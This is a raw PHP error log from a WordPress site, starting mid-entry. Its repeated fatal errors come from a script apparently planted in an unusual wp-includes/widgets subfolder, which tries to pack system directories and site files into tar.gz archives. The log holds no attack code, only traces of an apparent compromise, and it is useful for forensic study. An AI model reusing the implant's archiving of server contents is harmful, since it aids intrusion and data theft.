  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 06:12:43 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 06:12:46 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/sys/fs/xfs/stats/stats" that is not in the base directory "/proc/fs" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 06:22:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/fileindex.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 06:38:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 06:38:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 06:38:52 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/view.min.asset.php.min.asset.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 06:38:57 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 06:39:05 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/view.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 06:44:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/changelog.txt.txt.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 06:55:43 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/fileindex.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 06:55:52 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/loadingAnimation.gif.gif.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:01:38 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/interactivity-api.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:05:04 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/usr/share/cracklib/pw_dict.hwm" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:19:05 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/icon_question.gif.gif.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:26:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/json2.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:27:49 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/favicon.ico.ico.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:27:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/login.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:28:16 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/__init__.pyc.pyc.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:31:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/images.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:33:56 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-polyfill.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:35:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-font-utils.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:52:28 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:57:56 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 803217141 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:57:58 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/dev/null" that is not in the base directory "/proc/4131204" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:57:59 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/dev/null" that is not in the base directory "/proc/4122912" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:58:00 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/dev/null" that is not in the base directory "/proc/4129404" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:58:01 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/dev/null" that is not in the base directory "/proc/4129718" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:58:03 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: RecursiveDirectoryIterator::__construct(/proc/4117532): Failed to open directory: No such file or directory in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 [internal function]: RecursiveDirectoryIterator->__construct()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:58:05 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/irq.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:58:06 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/bus.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:58:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cache.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:58:43 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/driver.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 07:59:25 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 08:02:27 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 1069549885 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 08:32:24 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/bin/xsubpp" that is not in the base directory "/usr/share" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 08:33:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/ignore_routes_with_linkdown.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 08:33:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/drop_unicast_in_l2_multicast.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 08:48:14 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/install.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 08:52:06 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/import.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 08:53:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/import.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 08:59:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/jquery.color.min.js.color.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 09:00:05 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/dev/null" that is not in the base directory "/proc/306402" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 09:00:09 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/dev/null" that is not in the base directory "/proc/301539" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 09:00:18 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 803217141 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 09:00:58 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 803217141 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 09:01:06 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 803217141 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 09:02:55 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 803217141 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 09:03:01 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/dev/null" that is not in the base directory "/proc/310427" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 09:03:14 UTC] PHP Fatal error:  Uncaught RuntimeException: phar error: unable to open file "/proc/301532/net/snmp" to add to phar archive in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->addFile()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 09:12:45 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/regenerator-runtime.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 09:18:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/react.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 09:48:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/namespaced.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 10:58:31 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: RecursiveDirectoryIterator::__construct(/proc/301560): Failed to open directory: No such file or directory in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 [internal function]: RecursiveDirectoryIterator->__construct()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[06-Nov-2025 10:59:35 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: RecursiveDirectoryIterator::__construct(/proc/301550): Failed to open directory: No such file or directory in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 [internal function]: RecursiveDirectoryIterator->__construct()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
